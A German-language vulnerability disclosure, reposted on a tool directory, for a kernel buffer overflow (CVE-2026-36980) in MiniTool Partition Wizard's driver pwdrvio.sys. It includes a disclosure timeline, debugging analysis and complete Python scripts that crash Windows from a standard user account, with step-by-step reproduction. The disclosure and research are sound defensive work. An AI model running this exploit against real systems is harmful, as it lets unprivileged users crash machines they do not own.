Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-36980-Kernel-BSOD-DoS-PoC — Project Date : Feb 2026 / Discovered a buffer overflow vulnerability in the IOCTL handler of the kernel driver. The vulnerability allows an unprivileged local attacker to corrupt kernel pool memory, triggering an immediate system crash (BSOD) and Denial of Service. | Kitploit
Tools/GitHubGitHub/canomer/cve-2026-36980-kernel-bsod-dos-poc
Vulnerability AnalysisExploitationDebuggersFuzzingBinary Exploitation
GitHubcanomer/cve-2026-36980-kernel-bsod-dos-poc

CVE-2026-36980-Kernel-BSOD-DoS-PoC

Project Date : Feb 2026 / Discovered a buffer overflow vulnerability in the IOCTL handler of the kernel driver. The vulnerability allows an unprivileged local attacker to corrupt kernel pool memory, triggering an immediate system crash (BSOD) and Denial of Service.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

CVE-2026-36980-Kernel-BSOD-DoS-PoC

Projektdatum: Feb 2026 / Entdeckte eine Pufferüberlauf-Schwachstelle im IOCTL-Handler des Kernel-Treibers pwdrvio.sys. Die Schwachstelle ermöglicht es einem unprivilegierten lokalen Angreifer, Kernel-Pool-Speicher zu beschädigen, was einen sofortigen Systemabsturz (BSOD) und einen Denial-of-Service auslöst.

  • 2026-02-09 Hersteller benachrichtigt
  • 2026-03-05 Hersteller bestätigt
  • 2026-03-05 CVE bei MITRE beantragt
  • 2026-05-10 Öffentliche Offenlegung nach 90-tägiger koordinierter Offenlegungsfrist

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Denial of Service (DoS) Schweregrad: MITTEL CVSS 3.1 Punktzahl: 5.5 (DoS)
CVSS-Vektor-String:

  • DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Pufferüberlauf — Denial of Service (CVSS 5.5 - MITTEL)

  • Löst Blue Screen of Death (BSOD) aus
  • Eigenständige Ausnutzung (kein Debugger erforderlich)
  • Verursacht durch Pufferüberlauf via IOCTL 0x22000d
  • Konsistenter Absturz über alle getesteten Konfigurationen hinweg

Angriffsvoraussetzungen:

  • Lokaler Zugriff auf das Zielsystem
  • Standardbenutzerkonto (kein Administrator)
  • MiniTool Partition Wizard installiert oder deinstalliert (Treiber pwdrvio.sys geladen)

Ausbeutungsergebnisse: DoS - Sofortiger Systemabsturz, Dienstunverfügbarkeit

Timeline der Schwachstellenentdeckung

Phase 1: Erstes Fuzzing und BSOD-Entdeckung

Datum: 5. Februar 2026
Aktivität: Systematisches Kernel-Treiber-Fuzzing mit benutzerdefiniertem Python-Fuzzer

Entdeckungsprozess:

  1. Zielauswahl:

    • Aufgelistete installierte Kernel-Treiber auf Windows 10 VM
    • pwdrvio.sys als ältester Treiber identifiziert (Zeitstempel: 16. Juni 2009)
    • Treiberdatei: C:\Windows\System32\drivers\pwdrvio.sys
    • Geräteobjekt: \\.\PartitionWizardDiskAccesser\0
  2. Erstes Fuzzing:

    • Python-Fuzzer mit ctypes entwickelt, um mit dem Treiber zu interagieren
    • Zufallsdaten via WriteFile/DeviceIoControl an das Treibergerät gesendet
    • Ergebnis: Mehrere Blue Screens of Death (BSOD)
  3. Verifier-Aktivierung:

    • Driver Verifier für verbesserte Absturzerkennung aktiviert
    root@kitploit:~
    verifier /standard /driver pwdrvio.sys
    

    Verifier-Konfiguration:

    root@kitploit:~
    Verifier-Flags: 0x001209bb
    Standard-Flags aktiviert:
      [X] Special pool
      [X] Force IRQL checking  
      [X] Pool tracking
      [X] I/O verification
      [X] Deadlock detection
      [X] DMA checking
      [X] Security checks
      [X] Miscellaneous checks
      [X] DDI compliance checking
    

Phase 2: WinDbg Kernel-Debugging-Setup

Datum: 5.-6. Februar 2026
Aktivität: Kernel-Debugging-Umgebung für Ursachenanalyse eingerichtet

Einrichtungsverfahren:

  1. VMware-Serielle-Port-Konfiguration:

    root@kitploit:~
    VMware Workstation Pro → VM-Einstellungen
    ├─ Hardware hinzufügen → Serielle Schnittstelle
    ├─ Verbindung: "Named Pipe verwenden"
    ├─ Pfad: \\.\pipe\com_1
    ├─ Ende: "Dies ist der Server"
    └─ E/A-Modus: "CPU bei Poll abgeben" ✓
    
  2. Gast-BS-Konfiguration:

    root@kitploit:~
    REM Administratoreingabeaufforderung
    bcdedit /debug on
    bcdedit /dbgsettings serial debugport:1 baudrate:115200
    shutdown /r /t 0
    
  3. Host-WinDbg-Verbindung:

    root@kitploit:~
    WinDbg → Datei → An Kernel anfügen
    ├─ Port: \\.\pipe\com_1
    ├─ Baudrate: 115200
    ├─ Pipe: ✓
    └─ Neu verbinden: ✓
    
    Ergebnis: "Kernel-Debugger-Verbindung hergestellt."
    

Phase 3: Ursachenanalyse – Entdeckung eines beliebigen Schreibzugriffs

Datum: 6. Februar 2026
Aktivität: Beliebiger Kernel-Schreib-Primitiv identifiziert

Analyseschritte:

  1. Modulanalyse:

    root@kitploit:~
    1: kd> lm m pwdrvio
    start             end                 module name
    fffff805`315f0000 fffff805`315f8000   pwdrvio  (16. Jun 2009)
    
    1: kd> !drvobj pwdrvio 2
    Driver object (fffff805`XXXXXXXX) is for:
     \Driver\pwdrvio
    
    DriverEntry:   fffff805`315f6008
    DriverUnload:  fffff805`315f1060
    
    Dispatch-Routinen:
    [00] IRP_MJ_CREATE                      fffff805`315f108c
    [02] IRP_MJ_CLOSE                       fffff805`315f12f8
    [03] IRP_MJ_READ                        fffff805`315f16c4
    [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Ziel
    [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
    
  2. Entdeckung der verwundbaren Anweisung:

    Breakpoint auf Write-Handler setzen:

    root@kitploit:~
    1: kd> bp pwdrvio+0x1641
    1: kd> g
    
    Breakpoint 0 hit
    pwdrvio+0x1641:
    fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
    

    Kritischer Fund: Beliebiger Schreib-Primitiv identifiziert!

    • Anweisung schreibt Kernel-Zeiger (RAX) an Adresse [R11-0x10]
    • R11 wird vom Stack-Frame geladen: mov r11, qword ptr [rbp+0xB8h]
    • Keine Validierung der Zieladresse

Phase 4: UAF-zu-beliebigem-Schreibzugriff-Analyse

Datum: 6.-7. Februar 2026
Aktivität: Schwachstelle von Use-After-Free zu Write-What-Where-Bedingung zurückverfolgt

Speicherbeschädigungskette:

  1. IRP-Allokation:

    root@kitploit:~
    0: kd> !pool @rbp
    Pool page ffffe60f84c38610 region is Special pool
    *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
    Pooltag Irp+ : I/O verifier allocated IRP packets
    
  2. Pufferbeziehung:

    root@kitploit:~
    0: kd> r rsi
    rsi=ffffe60f828df900  ← Benutzerpufferposition
    
    0: kd> ? @rbp - @rsi
    Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB Differenz!
    

    Analyse: Benutzerpuffer ist NICHT direkt vom RBP-Frame aus zugänglich

    • RBP zeigt auf IRP-Struktur im Kernel-Pool
    • Benutzerpuffer befindet sich in anderem Speicherbereich
    • RBP+0xB8-Offset zeigt NICHT in einen benutzergesteuerten Puffer
  3. Use-After-Free-Bedingung:

    Der Treiber behält hängende Zeiger in der IRP-Struktur:

    root@kitploit:~
    // Ghidra-Dekompilierung (pwdrvio+0x1564)
    longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Von IRP laden
    
    // Keine Validierung!
    lVar5 = IoBuildAsynchronousFsdRequest(...);
    
    // Schreiben nach [lVar1 - 0x10]
    *(code **)(lVar3 + -0x10) = FUN_00011364;  // Beliebiger Schreibzugriff!
    

Phase 6: Denial-of-Service-Identifikation

Datum: 8. Februar 2026
Aktivität: Eigenständige DoS-Schwachstelle entdeckt

Entdeckung:

  1. IOCTL-Fuzzing:

    • Verschiedene IOCTL-Codes mit fehlerhaften Puffern getestet
    • IOCTL 0x22000d als verwundbar identifiziert
  2. Absturzmechanismus:

    root@kitploit:~
    # Verwundbare Parameter
    TARGET_IOCTL = 0x22000d
    
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Treiber vertraut diesem Wert!
    
    DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                    real_output_buffer, fake_output_length, ...)
    
  3. Treiberverhalten:

    • Treiber vertraut der vom Benutzer gelieferten Ausgabepufferlänge
    • Versucht, 8192 Bytes in einen 4-Byte-Puffer zu schreiben
    • Pufferüberlauf → Pool-Beschädigung → BSOD

Verifier-Ausgabe:

root@kitploit:~
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Beschädigte Pool-Allokation
Arg2: fffff805315f1404, Treibercode-Adresse
Arg3: ffffe60f84c38000, Pool-Allokationsadresse
Arg4: 0000000000000091, Beschädigungstyp

PROCESS_NAME: python.exe

Schwachstelle #2: Denial of Service (DoS)

CWE-Klassifizierung

  • CWE-120: Buffer Copy without Checking Size of Input
  • CWE-119: Improper Restriction of Operations within Memory Buffer
  • CWE-248: Uncaught Exception

Schwachstellendetails

Ort: pwdrvio.sys IOCTL-Handler
Verwundbarer IOCTL: 0x22000d

Auslösemechanismus:

root@kitploit:~
import ctypes
from ctypes import wintypes

DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d

kernel32 = ctypes.windll.kernel32

# Treiber öffnen
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)

# Böswillige Parameter
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)  # Nur 4 Bytes!
fake_output_length = 8192  # 8192 Bytes behaupten!
bytes_returned = wintypes.DWORD(0)

# Überlauf auslösen
kernel32.DeviceIoControl(handle, TARGET_IOCTL, 
                         input_buf, 1024,
                         real_output_buffer, fake_output_length,  # ← Überlauf!
                         ctypes.byref(bytes_returned), None)

Absturzverhalten:

Mit aktiviertem Driver Verifier:

root@kitploit:~
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Argumente:
Arg1: 0000000000000091 - Beschädigte Pool-Allokation erkannt
Arg2: fffff805315f1404 - Treibercode-Adresse (IOCTL-Handler)
Arg3: ffffe60f84c38000 - Pool-Allokationsadresse
Arg4: 0000000000000091 - Special-Pool-Muster beschädigt

Analyse:
- Treiber versucht, 8192 Bytes in einen 4-Byte-Puffer zu schreiben
- Pool-Header-Beschädigung vom Verifier erkannt
- Sofortiger Bugcheck (BSOD)

Prozess, der den Absturz auslöst: python.exe (Standardbenutzer)

Ohne Driver Verifier:

root@kitploit:~
SYSTEM_SERVICE_EXCEPTION (3b)
Argumente:
Arg1: 00000000c0000005 - Zugriffsverletzung
Arg2: fffff805315f1404 - Fehlerhafte Adresse in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap-Frame
Arg4: 0000000000000000

Ergebnis: Blue Screen of Death

Vollständiger Code & Ausbeutung

Code:

root@kitploit:~
import ctypes
from ctypes import wintypes

# --- Einstellungen ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[!] MiniTool DoS...")
    
    # 1. Treiber verbinden
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Konnte keine Verbindung herstellen.")
        return

    # 2. Vorbereitung
    # IOCTL vom Fuzzer
    TARGET_IOCTL = 0x22000d 
    
    # Eingabe: 0xFF gefüllt - 1024 Byte (Zeigervergiftung)
    in_size = 1024
    input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
    
    # Ausgabefalle: Standard 4 Byte, 8192 Byte im Treiber
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192 
    bytes_returned = wintypes.DWORD(0)

    print("[+] Warte auf BSoD...")

    # 3. Schleife (Pool-Beschädigung)
    while True:
        kernel32.DeviceIoControl(
            handle, 
            TARGET_IOCTL, 
            input_buf, 
            in_size, 
            real_output_buffer, 
            fake_output_length, # <--- Verwundbarer Punkt: Treiber-Pufferüberlauf
            ctypes.byref(bytes_returned), 
            None
        )

if __name__ == "__main__":
    trigger_bsod()

Ausbeutung:

root@kitploit:~
PS C:\Users\standarduser\verzeichnis> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py

Proof of Concept & Reproduktionsschritte

Voraussetzungen

Testumgebung:

  • Betriebssystem: Windows 10 Home Build 19045.6466
  • Architektur: x64
  • MiniTool-Version: Partition Wizard 13.5
  • Treiber: pwdrvio.sys (datiert 16. Juni 2009)
  • Benutzerkonto: Standardbenutzer (kein Administrator)

Erforderliche Tools:

  • Für LPE: WinDbg (Windows Debugger), VMware Workstation
  • Für DoS: Python 3.x mit ctypes

Reproduktion #1: Denial of Service (Eigenständig)

Schritt 1: Treiberinstallation überprüfen

root@kitploit:~
C:\> sc query pwdrvio

SERVICE_NAME: pwdrvio
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

Schritt 2: Driver Verifier aktivieren (optional, aber empfohlen)

root@kitploit:~
REM Administratoreingabeaufforderung
C:\> verifier /standard /driver pwdrvio.sys

REM Konfiguration überprüfen
C:\> verifier /query

Verifier-Flags: 0x001209bb
  Standard-Flags:
    [X] 0x00000001 Special pool
    [X] 0x00000002 Force IRQL checking
    [X] 0x00000008 Pool tracking
    [X] 0x00000010 I/O verification
    [X] 0x00000020 Deadlock detection
    [X] 0x00000080 DMA checking
    [X] 0x00000100 Security checks
    [X] 0x00000800 Miscellaneous checks
    [X] 0x00020000 DDI compliance checking

  Treiber-Überprüfungsliste:
    MODULE: pwdrvio.sys (laden: 1 / entladen: 0)

REM Neustart, damit Verifier wirksam wird
C:\> shutdown /r /t 0

Schritt 3: DoS-Exploit-Skript erstellen

Speichern als dos_exploit.py:

root@kitploit:~
import ctypes
from ctypes import wintypes

# Gerätepfad
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# Windows-API-Definitionen
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, 
                                     wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[*] MiniTool pwdrvio.sys DoS Exploit")
    print("[*] Löse Blue Screen of Death aus...")
    
    # Gerät öffnen
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Fehler beim Öffnen des Treibers")
        print("[-] Stellen Sie sicher, dass MiniTool Partition Wizard installiert ist")
        return
    
    print("[+] Treiber erfolgreich geöffnet")
    
    # Verwundbarer IOCTL-Code
    TARGET_IOCTL = 0x22000d
    
    # Eingabepuffer: 1024 Bytes 0xFF
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    
    # Ausgabepuffer: Nur 4 Bytes (aber 8192 behaupten!)
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Treiber vertraut diesem Wert → Überlauf!
    bytes_returned = wintypes.DWORD(0)
    
    print("[!] Sende bösartigen IOCTL...")
    print("[!] System wird in 3...2...1... abstürzen")
    
    # Pufferüberlauf auslösen → BSOD
    kernel32.DeviceIoControl(
        handle, 
        TARGET_IOCTL, 
        input_buf, 
        1024, 
        real_output_buffer, 
        fake_output_length,  # ← Schwachstellenauslöser
        ctypes.byref(bytes_returned), 
        None
    )
    
    # Diese Zeile wird nie ausgeführt
    print("[*] Wenn Sie dies sehen, ist der Exploit fehlgeschlagen")

if __name__ == "__main__":
    trigger_bsod()

Schritt 4: Exploit ausführen (Standardbenutzer)

root@kitploit:~
C:\> whoami
desktop-lfkkhu2\standard_user

C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Löse Blue Screen of Death aus...
[+] Treiber erfolgreich geöffnet
[!] Sende bösartigen IOCTL...
[!] System wird in 3...2...1... abstürzen

[System stürzt sofort mit BSOD ab]

Erwartetes Ergebnis:

Blauer Bildschirm mit Stopcode:

root@kitploit:~
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)

oder

root@kitploit:~
SYSTEM_SERVICE_EXCEPTION (3b)

Überprüfung: Systemabsturz bestätigt DoS-Schwachstelle

MiniTool-Software:

root@kitploit:~
Produkt:               MiniTool Partition Wizard
Version:               13.5
Installationspfad:     C:\Program Files\MiniTool Partition Wizard
Treiberpfad:           C:\Windows\System32\drivers\pwdrvio.sys
Treiberdatum:          16. Juni 2009 (0x4A36F8D1)
Treibergröße:          32.256 Bytes

Testwerkzeuge:

root@kitploit:~
WinDbg-Version:        10.0.29507.1001 AMD64
Python-Version:        3.x mit ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard-Flags)

Betroffene Versionen

Bestätigt verwundbar

Primäres Produkt:

  • MiniTool Partition Wizard 13.5
  • Alle früheren Versionen, die pwdrvio.sys verwenden

Treiberdetails:

root@kitploit:~
Dateiname:          pwdrvio.sys
Dateiversion:       [Nicht verfügbar]
Dateigröße:         32.256 Bytes (31,5 KB)
Zeitstempel:        0x4A36F8D1 (16. Juni 2009, 04:43:45 UTC)
Digitale Signatur:  [Vom Hersteller signiert]
Gerätename:         \\.\PartitionWizardDiskAccesser\0
Dienstname:         pwdrvio
Ladereihenfolge:    Boot Start (SERVICE_BOOT_START)

Möglicherweise betroffen

Andere MiniTool-Produkte, die denselben Treiber verwenden könnten:

  • MiniTool Power Data Recovery
  • MiniTool Partition Wizard Bootable Edition
  • MiniTool ShadowMaker

Hinweis: Jedes Produkt sollte zur Bestätigung einzeln getestet werden.

Betriebssystemkompatibilität

Getestet und als verwundbar bestätigt:

  • Windows 10 Home Build 19045.6466 (x64)

Wahrscheinlich verwundbar (nicht getestet):

  • Windows 7 (x64)
  • Windows 8 / 8.1 (x64)
  • Windows 10 (alle Builds, x64)
  • Windows 11 (x64)
  • Windows Server 2008 R2 und höher

Grund: Treiber ist mit allen modernen Windows-Versionen kompatibel und enthält keine versionsspezifischen Prüfungen.

Rechtlicher Haftungsausschluss

Dieses Repository wird ausschließlich zu Bildungszwecken, für defensive Sicherheitsforschung und zur Reproduktion von Schwachstellen in kontrollierten Laborumgebungen bereitgestellt. Die Informationen und der Proof-of-Concept-Code dienen dazu, Verteidigern, Forschern und Herstellern zu helfen, die gemeldete Schwachstelle zu verstehen und zu beheben. Die unbefugte oder böswillige Nutzung dieses Codes gegen Systeme ohne ausdrückliche Genehmigung kann gegen geltende Gesetze und Vorschriften verstoßen. Der Autor befürwortet oder duldet keine illegalen Aktivitäten und übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Material verursacht werden.

Dieser Schwachstellen-Offenlegungsbericht wird bereitgestellt für:

  1. Sicherheitsforschung und -bildung
  2. Herstellerbenachrichtigung und Patch-Entwicklung
  3. Schutz der Endbenutzer
  4. Akademische und defensive Sicherheitszwecke

Verbotene Nutzungen:

  • Unbefugter Zugriff auf Computersysteme
  • Böswillige Ausbeutung
  • Jegliche illegale Aktivität

Der Forscher führte alle Tests auf persönlich eigenen Systemen in kontrollierten Umgebungen durch. Es fand kein unbefugter Zugriff auf Drittsysteme statt.

Berichtsversion: 1.0
Zuletzt aktualisiert: 9. Februar 2026

Tool herunterladen
  • Registerzustandsanalyse:

    root@kitploit:~
    0: kd> r
    rax=fffff805315f1364  ← Kernel-Code-Zeiger
    r11=ffffe60f84c38750  ← Zieladresse (über Stack gesteuert)
    rbp=ffffe60f84c38610  ← IRP-Stack-Frame
    
    0: kd> dq @rbp+0xB8 L1
    ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 von hier geladen